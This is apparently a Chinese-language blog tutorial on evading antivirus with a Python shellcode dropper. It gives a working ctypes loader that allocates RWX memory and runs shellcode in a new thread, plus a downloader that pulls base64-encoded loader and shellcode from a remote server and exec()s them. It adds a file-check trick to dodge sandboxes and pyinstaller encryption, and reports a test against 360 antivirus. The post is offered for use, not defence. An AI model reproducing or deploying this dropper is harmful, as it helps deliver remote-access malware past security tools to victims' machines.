python bypss 第二弹

前言

没什么技术含量,响应群友要求水一篇

shellcode处理

生成python的payload

image-20230516162321944

取出shellcode去掉”\x”就是这个样子

image-20230516162821737

base64编码一下,当然还可以继续加密,异或或者aes等等,自写加密也行

image-20230516162841455

保存为一个,或者多个txt文件,或者图片隐写,都可以,这里只提供一个简单思路

image-20230516163022164

加载器处理

加载器,就不多说了,shellcode好比子弹,加载器就是手枪,加载器网上到处都是,无非就是申请,读写,执行内存.加载器对于免杀很重要,现在大多数的加载器api都被打上标记了

提供一个

1
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64;rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40);ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode),len(shellcode));handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0);ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

加载器同理shellcode,base64编码一下,也可以继续加密,保存为txt放到服务器上

image-20230516163518666

下载器

现在写主程序,也就是下载器,我们用这个程序去远程下载加载器和shellcode,只要你服务器不被标记,谁敢说我这是木马??

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import base64
import ctypes, urllib.request


# 获取shellcode
def get_code():
base64_code = urllib.request.urlopen('http://x.x.x.x/shellcode.txt').read()
shellcode = base64.b64decode(base64_code)
shellcode = bytes.fromhex(str(shellcode, 'utf-8'))
return shellcode


# 获取加载器
def get_loader():
base64_loader = urllib.request.urlopen('http://x.x.x.x/loader.txt').read()
return base64_loader

# 执行
def main():
shellcode = get_code()
loader = get_loader()
exec(base64.b64decode(loader))

写个main.py再套个壳,使用import加载调用,再判断下当前路径是否存在这个ok.txt文件,不存在不执行,算是防止被杀软之类的放进沙箱吧,似乎有一点卵用

1
2
3
4
5
6
import loader
import os
if os.path.exists('ok.txt'):
loader.main()
else:
print('The file does not exist and will not be executed')

打包

pyinstaller打包的时候再加密一下

image-20230516165426043

记得放个ok.txt才会正常运行,正常上线

image-20230516164600412

image-20230516164529002

测试

嫌麻烦只测了360

image-20230516164700432